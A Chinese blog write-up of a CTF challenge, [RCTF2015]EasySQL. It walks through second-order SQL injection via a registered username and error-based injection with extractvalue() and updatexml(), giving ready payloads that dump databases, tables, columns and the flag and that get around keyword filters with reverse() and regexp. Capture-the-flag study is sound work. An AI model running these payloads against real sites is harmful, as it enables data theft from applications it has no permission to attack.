首页 > 数据库 >2025.1.20——一、[RCTF2015]EasySQL1 二次注入|报错注入|代码审计

2025.1.20——一、[RCTF2015]EasySQL1 二次注入|报错注入|代码审计

时间:2025-01-20 20:57:35浏览次数:3  
标签:20 extractvalue admin flag 报错 select concat 注入

题目来源:buuctf [RCTF2015]EasySQL1

目录

一、打开靶机,整理信息

二、解题思路

step 1:初步思路为二次注入,在页面进行操作

step 2:尝试二次注入

step 3:已知双引号类型的字符型注入,构造payload

step 4:报错注入

step 5:三爆

方法①extractvalue()函数

方法②updatexml()函数

三、小结


一、打开靶机,整理信息

打开题目看到登陆和注册两个按钮,前面做的二次注入题目跟这里也有相似点

        网页源码中也提到了这两个页面

        而靶机给了这道题的源码,可以进行代码审计,看看有无熟悉的东西

二、解题思路

step 1:初步思路为二次注入,在页面进行操作

输入:username=admin    password=1

发现得到回显:

说明已存在admin用户名,那能否用sql注入登陆admin用户呢?

这里初步断定为二次注入,可以尝试一下,二次注入的核心思想,参考sql-labs less24

二次注入条件:注册时sql语句无效(被转义),登陆时or修改密码(需要用到username进行比对时)sql语句生效(去掉转义)

二次注入核心步骤

step1:注册一个辅助帐号:admin' #

step2:修改辅助帐号密码

step3:登陆admin账号,用辅助帐号密码,即可登陆进去

step 2:尝试二次注入

1.先注册一个辅助帐号:username=‘admin'#' and  password='111'  (这里用单引号因为是字符串)

这里带空格注册,会显示invalid string,空格应该是被过滤了,二次注入尝试后,可以抓包fuzz一下

2.登陆辅助帐号 下面的内容是作者玩梗,没用

3.点击用户名修改密码为222

4.登陆admin账号,用password=222,登陆失败,没想到惨遭滑铁卢。

        在这纠结了很久,然后发现有可能是双引号类型的注入,重新二次注入,修改辅助帐号username=admin"#  password=111,重复上述操作,登陆admin账号,用修改后的password=222,登陆成功,但是没有关于flag的信息

但至少我们知道了这里存在二次注入漏洞,而且注入点在username,并猜测后端sql语句为

select * from user where username="xxx" and password='xxx'

step 3:已知双引号类型的字符型注入,构造payload

        这里需要注意的是前面用username=admin' #进行注册时,显示invalid string,说明这里存在过滤,bp抓包爆破一下,看看用什么方法注入

        发现length、handler、like、sleep、select、left、right、and、floor、rand()等都被过滤掉了,感觉熟悉的报错注入在等着我们,extractvalue()和updatexml()未被过滤,所以可以进行报错注入了

插入:题目附带的源码中有提到这一点,所以代码审计很重要,很多东西都藏好了

step 4:报错注入

        看了其他师傅的wp,用username=1'"注册登陆进去修改用户名,回显

        目前确定下来注入点在username,但回显点在修改密码那里,要用报错注入,双引号类型注入,构造payload,查看数据库中的表名。

这段代码给了我们sql语句

注:stripslashes函数是去除反斜杠的意思

所以用含有sql注入语句的用户名注册,登陆进去,修改密码时,语句生效 

step 5:三爆

方法①extractvalue()函数

爆数据库名

admin"||extractvalue(1,concat(0x7e,(select(database())),0x7e))#

爆表名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database()),0x7e))#

爆列名

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

爆flag

admin"||extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

看来不在flag列里,看看user表

admin"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

        因为前面提到left()和right()都被过滤了,这里用reverse()函数,将报错回显的结果倒置,以此来查看末尾未显示的信息。

admin"||extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

        所以正确表名为:real_flag_1s_here,获取flag

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

发现结果超过一行,所以这里用正则表达式获取flag值

admin"||extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

flag{847e1ca4-00e4-4fbd-a986-cb,extractvalue函数只能显示32位,所以仍然用reverse()函数

admin"||extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

~}bbe2976fdabc-689a-dbf4-4e00-4a 倒置后得a4-00e4-4fbd-a986-cbadf6792ebb}

所以flag为flag{847e1ca4-00e4-4fbd-a986-cbadf6792ebb}

方法②updatexml()函数

爆数据库名

admin"||(updatexml(1,concat('~',(select(database()))),1))#

爆表名

admin"||(updatexml(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='web_sqli'))),1))#

爆列名

admin"||(updatexml(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),1))#

爆flag

admin"||(updatexml(1,concat('~',(select(group_concat(flag))from(flag))),1))#

换user表查询

admin"||(updatexml(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1))#

用正则表达式

admin"||(updatexml(1,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')),1))#

reverse函数输出

admin"||(updatexml(1,concat('~',reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))),1))#

同样得到flag

三、小结

1.注意当整数型、字符型(单引号)注入失败,不要忘了双引号型注入

2.要判断回显点,尤其是二次注入里,用闭合双引号后为空,看哪里有报错回显

3.当回显信息行数太多,无法显示,用正则表达式

4.当left()和right()函数都被过滤,可以用reverse()函数将flag倒置,然后再翻过来

5.源码中有很多信息,比如被过滤的字符,比如数据库名、表名

标签:20,extractvalue,admin,flag,报错,select,concat,注入
From: https://blog.csdn.net/2402_87387800/article/details/145263608

相关文章

  • 2025 刷题计划 - 线段树
    2025刷题计划-线段树A.P3313[SDOI2014]旅行树剖板子题,开\(C\)棵线段树即可。你可能会说开不下?动态开点不就完了。B.P3924康娜的线段树有意思的一道题,貌似\(O(n\logn)\)解法比\(O(n)\)更难?我实现不出来。首先易得期望的计算方式即为:设当前节点\(x\)的深度为......
  • 20250120 T2 simu题解
    简单模拟(simu)【题目描述】给定$a_1,a_2,\ldots,a_n$和$b_1,b_2,\ldots,b_n$。对于所有整数$x\in[l,r]$,模拟以下过程并求出变量$res$的最终的值。res=0fori=1ton:ifx>=a[i]:x=x-a[i]res=res+b[i]【输入格式】......
  • P1006 [NOIP2008 提高组] 传纸条
    链接https://www.luogu.com.cn/problem/P1006题目思路和方格取数差不多,额外的步骤就是去重:只取当前节点(i,j)的右上或者左下部分。并且最后的答案是dp[m][n-1][m-1][n],只dp到终点的上面和左边一个点代码#define_CRT_SECURE_NO_WARNINGS#include<iostream>#include<a......
  • AAAI2024论文解读|Bidirectional Contrastive Split Learning for Visual Question An
    论文标题BidirectionalContrastiveSplitLearningforVisualQuestionAnswering双向对比分裂学习用于视觉问答论文链接BidirectionalContrastiveSplitLearningforVisualQuestionAnswering论文下载论文作者YuweiSun,HideyaOchiai内容简介本文提出了一种名......
  • 2024年春秋杯网络安全联赛冬季赛部分wp
    部分附件下载地址:https://pan.baidu.com/s/1Q6FjD5K-XLI-EuRLhxLq1Q提取码:jay1Miscday1-简单算术根据提示应该是异或下载文件是一个字符串,写个代码字符串异或解密,由于需要密钥,所以先对单字节密钥进行爆破解密爆破出flag代码如下:cipher_text="ys~xdg/m@]mjkz@vl@z~l......
  • P3456 [POI2007] GRZ-Ridges and Valleys
    P3456[POI2007]GRZ-RidgesandValleys背景本人蒟蒻,只会写DFS。本题BFS更好思路这是一道很明显的搜索题,题目要求我们找到山峰和山谷山峰?不就是在这个高度周围没有比它跟高的地方山谷?不就是在这个高度周围没有比它更矮的地方因此我们只需要用\(DFS\)遍历遇到的所......
  • U208362 分为互质组
    U208362分为互质组题目与P10483小猫爬山相识只需要将判断条件改为是否互质即可小猫爬山题解代码:#include<bits/stdc++.h>usingnamespacestd;inta[100];vector<int>sum[100];intn,w;boolb[100];intans=INT_MAX;intisrp(inta,intb){ if(b==0){ returna......
  • 国自然青年项目|基于多模态影像组学的乳腺癌分子分型预测研究|基金申请·25-01-20
    小罗碎碎念今天和大家分享一份国自然青年项目,项目执行期为2021-2023年,直接费用为24万。项目聚焦乳腺癌分子分型预测,综合运用多模态组学数据、影像组学技术和深度学习技术。研究内容包括跨模态医学图像分割、多模态特征提取与融合、模型设计与系统研发。通过提出一系......
  • 对多组学多模态方向感兴趣的医工交叉科研人员,这三篇综述值得参考!|顶刊速递·25-01-20
    小罗碎碎念推文速览第一篇文章围绕高分辨率空间转录组学展开,介绍其技术原理、在构建组织图谱等多方面的应用、临床研究设计要点,分析临床转化面临的挑战,展望未来发展,强调其对揭示疾病机制和推动个性化医疗的重要意义。第二篇文章围绕局部晚期直肠癌的全新辅助治疗(TNT)展......
  • 2025年专精特新小巨人企业申报时间(工信部小巨人认定是什么时候开始)
    随着国家对中小企业创新发展的持续支持,2025年专精特新小巨人企业的申报工作即将启动。工信部将组织开展小巨人企业的认定工作,以选拔和培育一批专注于细分市场、创新能力强、市场占有率高、掌握关键核心技术的优质企业。本文将详细介绍2025年专精特新小巨人企业的申报时间,帮助企......